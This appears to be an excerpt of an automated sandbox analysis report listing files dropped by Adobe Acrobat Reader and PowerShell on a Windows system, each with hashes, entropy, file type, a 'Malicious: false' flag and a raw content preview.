Preview:	{"analyticsData":{"responseGUID":"1ab64815-09bb-43ff-8ee8-21474a72d6de","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736745216679,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.298060243079055
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRhoabiHVoZcg1vRcR0Y7UZKoAvJf21rPeUkwRe9:YvXKX1bi2Zc0v+C5G+16Ukee9
MD5:	9BCC665B8F3C9374FA31AEFAE3E6B5AF
SHA1:	76128CB8F3954F1F7BE54206872DAA19451B9F7A
SHA-256:	5659A2790B6A217680E402D94A4064DE17C706F0D5A9CB03508FE98661592E2D
SHA-512:	4CE890E477B5B98AC20F246BA8DA28B83C1A214D97911FDACE82A8DA6F4A9BC9EFEACA58A51D20E08001D3BDC5BC7837E57366239F4A8D9B78CD76E01DCA3092
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1ab64815-09bb-43ff-8ee8-21474a72d6de","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736745216679,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.666907120980594
Encrypted:	false
SSDEEP:	24:Yv6X1bi2zv+FamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSz1:Yvhu25BgkDMUJUAh8cvMz1
MD5:	6BA3A8267A7B97A007D687922C0E265F
SHA1:	2078EBB2312F0DF6C9895D3AB56963E405DEFC80
SHA-256:	14A4CEB45A7AB9656846E2C1D75D0A366C0BED0B8EB71D63CD749E62BA9AF29B
SHA-512:	E93B763EBA8B12DF9A5ADC916A0177EF7C28D36B4A2AAEFD6F9F32402A59EA8F547E8E32933A4CE6A7747865BA06C5D39A12B1E60D385372737F78A5E8DEBB75
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1ab64815-09bb-43ff-8ee8-21474a72d6de","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736745216679,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.274016458631363
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRhoabiHVoZcg1vRcR0Y7UZKoAvJfshHHrPeUkwRe9:YvXKX1bi2Zc0v+C5GUUUkee9
MD5:	46212CBE2139090479538423BA6ECDFA
SHA1:	300B9746D314EE3D3AD231158B49868E70134698
SHA-256:	BE28554D8FDD785F4A6AD57A47BD29BBD754D67B70C4B7E36CEA1A83D4628108
SHA-512:	AD4C36D7C76D6B12D23CD6A7E37FDCAE21C20704D9882C1B4E8FF9A4ECB4074536E19B428D220CA035C34DB207DF823631FBC2A4C9C07F07A4E3151C587C5F79
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1ab64815-09bb-43ff-8ee8-21474a72d6de","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736745216679,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.287315036880547
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRhoabiHVoZcg1vRcR0Y7UZKoAvJTqgFCrPeUkwRe9:YvXKX1bi2Zc0v+C5GTq16Ukee9
MD5:	8DBD3C660E300D3C00F582391D68EE1C
SHA1:	B35A69607C89B42EC8AB122EEE33058E9A31FCA7
SHA-256:	243614EBDD13DE996CD215BA085654C1DFE3B6641EF09FEEC0936C270A6E2FC5
SHA-512:	9966ED9536A1A46470C6147F9C51A7F93E68CF1D53ADCF3FB64D91A2472DFAE4DAC85B367BB5B5AA3F5DA3EB1F70BE4D3B1E30A4CA6F2BAE825C9C88BB9064CB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1ab64815-09bb-43ff-8ee8-21474a72d6de","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736745216679,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.148453653609947
Encrypted:	false
SSDEEP:	24:YDazBksBayZNJDTJCn+2pv1iSbHwjv+j0SMADSM2y2LS+CtPHtI+gqX52y97ulvj:YsksFH0+ENDivgNDPrM6HtIxGP9kb
MD5:	472A5974613F2F580AC6D3635D924786
SHA1:	B0B966CD34499B1206CD4FCE5F9C2AD16F387A9F
SHA-256:	E9E4399CFD1AAFDC921522FF872F53C4FDF5B15FE63555249C608CA4673ADF73
SHA-512:	E6418DF7EA8003FC1C9F05F7D33587A66AE07C9E3DEBBA15512D405918D611706FE63E16A1A49826B4C553B35C172FD8D7B3A145384DE1F91B38CBCF11B17C14
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"acbac0b2811d24231c946201885990df","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736568155000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"80f2df0f4fb8c8d1f7ed59cbe8d5a144","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736568155000},{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"9dc877058bd54d92b75c3bb420d46f7d","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736568155000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"cfc7a9f373c60ff6e32fc91a015d05f6","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736568155000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"94678a84e6f6981817d98a59a2787361","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736568155000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"22d8fbb3f4cd1f9401b51e9293b14940","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.187738690643875
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUNVSvR9H9vxFGiDIAEkGVvp5h:lNVmswUUUUUUUUNV+FGSItNh
MD5:	C3A7FFA2C5353B029D7963A3F545B619
SHA1:	5F52764ABBABE394E8141C04212E3CC7FE750688
SHA-256:	0D80CCAD882808387ED18CE34D495EBA63838266FA1CE4A4387F0B1A116A9B6A
SHA-512:	41D0D263B584AD8320DF235577E76945C7C59B67D660E3F358BC3A12239CCCEE9D3672E632300A6725524A2A7DEE529311EA116227BC7B170597A163476EA94E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6062723241490133
Encrypted:	false
SSDEEP:	48:7MiKUUUUUUUUUUNNvR9H9vxFGiDIAEkGVv0uvqFl2GL7msK:7CUUUUUUUUUUNpFGSIt7KVmsK
MD5:	101A05695FDF431AAE206260950936FC
SHA1:	9FA7BA9B1B7C4F4381400377188BD880A2343F6E
SHA-256:	DE68109AAF7BD3BC633860D725221F44153273329C6CF9C89D4C7452B2C3D841
SHA-512:	A23BC279831D1989F83EB18497FA6AB22D64B381D06D5640BDEE233F00C82F24F15DCDDD50DEBF582FB1951AECA5D428D2D43449907298B40A33FCA940F5F586
Malicious:	false
Preview:	.... .c......A.'......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgPDwyE9hxn5YX5iFEG9dkY/dOYyu:6a6TZ44ADEPD3E9hxn5Yu/QK
MD5:	7E34C5BECAC61D929399CDC2C1129A19
SHA1:	43F09AF0C5F5816A051E9C36DDB4F50274CDACAE
SHA-256:	76AF9D03A7C1D078418C430E11AD664D21259E9836C14491A5FC0F55EBB8F67B
SHA-512:	31C1E765DB37FA4464AC289D721536EE5B66427AA1B83F95C1E0D596F47322801D385911549F82B768DC0CB59A47D441EE97F1317822812E4BB5D04AA6BF3456
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSIe2944.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5030768995714583
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebCltlSH:Qw946cPbiOxDlbYnuRK+baG
MD5:	291BAFE4DB9ABA03061CDF3EB39FCD83
SHA1:	D046EDB7E2E254FA5CDC9B908782BA8F85E63260
SHA-256:	2C523517B91B3BF01556CE937C5C14FC59DB835E5DABF902F70216D222CFF61D
SHA-512:	0DBBADFE6AC2D9BA11B8C0DF6E0A9F2B32690C2EE95DD2DB25AFE2A1B912F8960A6E5F9D872765D0596190E90E385F89DB8C50C1C6D3B036E91DD746973F52AB
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.3.:.0.2.:.3.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h3rw1ft3.ecs.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_walvtvuc.dsw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 23-02-31-838.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.367840310841008
Encrypted:	false
SSDEEP:	384:nHBOZTOXlmPFeMoVjaez59Y0zVjHsoEvDoFgHgJg1grDBT1uGQveEF8SU5U9I06J:9HF
MD5:	3FE15B8F6FF7FF5DE0AC97CC017C4C20
SHA1:	BB779AE861252CD75D7FA04BA5EBBECFFDCC0BD6
SHA-256:	45B787114A6BABBEB29FA66B36EF44BF2AED2143D0E179213E7EE206B31CF0D6
SHA-512:	C7F6E77711DF4EB8DB2F43140C9CDEA96F4BF1D36CAE6080676271D13428A838FD34AED1D1416791342825F191C94CE9684DE8C358C272F65037E9B35088BBE8
Malicious:	false
Preview:	SessionID=5abd1373-627e-4de6-8d93-9159df684eb6.1736568151879 Timestamp=2025-01-10T23:02:31:879-0500 ThreadID=7852 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=5abd1373-627e-4de6-8d93-9159df684eb6.1736568151879 Timestamp=2025-01-10T23:02:31:889-0500 ThreadID=7852 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=5abd1373-627e-4de6-8d93-9159df684eb6.1736568151879 Timestamp=2025-01-10T23:02:31:889-0500 ThreadID=7852 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=5abd1373-627e-4de6-8d93-9159df684eb6.1736568151879 Timestamp=2025-01-10T23:02:31:889-0500 ThreadID=7852 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=5abd1373-627e-4de6-8d93-9159df684eb6.1736568151879 Timestamp=2025-01-10T23:02:31:889-0500 ThreadID=7852 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.38198243202716
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rC:TS
MD5:	82BAD8563031F0BC0784AED69DDA153E
SHA1:	FEFAB14A7E05275BCE693941777FC49B7184BCC4
SHA-256:	3D4EA076E5B8F240DEC190B6F0AEDCD88DD024B7B5617F02F50CDB178604B376
SHA-512:	9ACFAF65AB13DEE4F7201FE93860FA8CDCB4CAF2941B76FA6E9FB237E1C2DA807A170E1CD28410203AC09787AD24D6C203F684DE943A219508F992E0C5A958AC
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\462c4ec8-57d8-4db2-b5e3-e29cdcb516a0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\599f9e29-fe97-43b7-803e-201901472dd4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/n5ZwYIGNPzWL07o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tGZd:xZwZG5WLxB3mlind9i4ufFXpAXkrfUsb
MD5:	E78E4D1CA18BE28748F65C3A192DAFB2
SHA1:	78AD6025CB470EFB9ECA8FF1ED41F617372D1F9F
SHA-256:	F4B25F5C5BE48E151080D9CC24C8A4662CBB591A6B32037DB8D7ADE1828D8849
SHA-512:	E170C9BD3B6BB575244FCD380334D763C30352586F60824A67868EAE8E895BE0601D51670FCC304724BDF321CE8EF64881E606C9CF4C18C5817DFB5A679E44D6
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a8b93539-2c55-4904-8d5d-48fa315831b6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
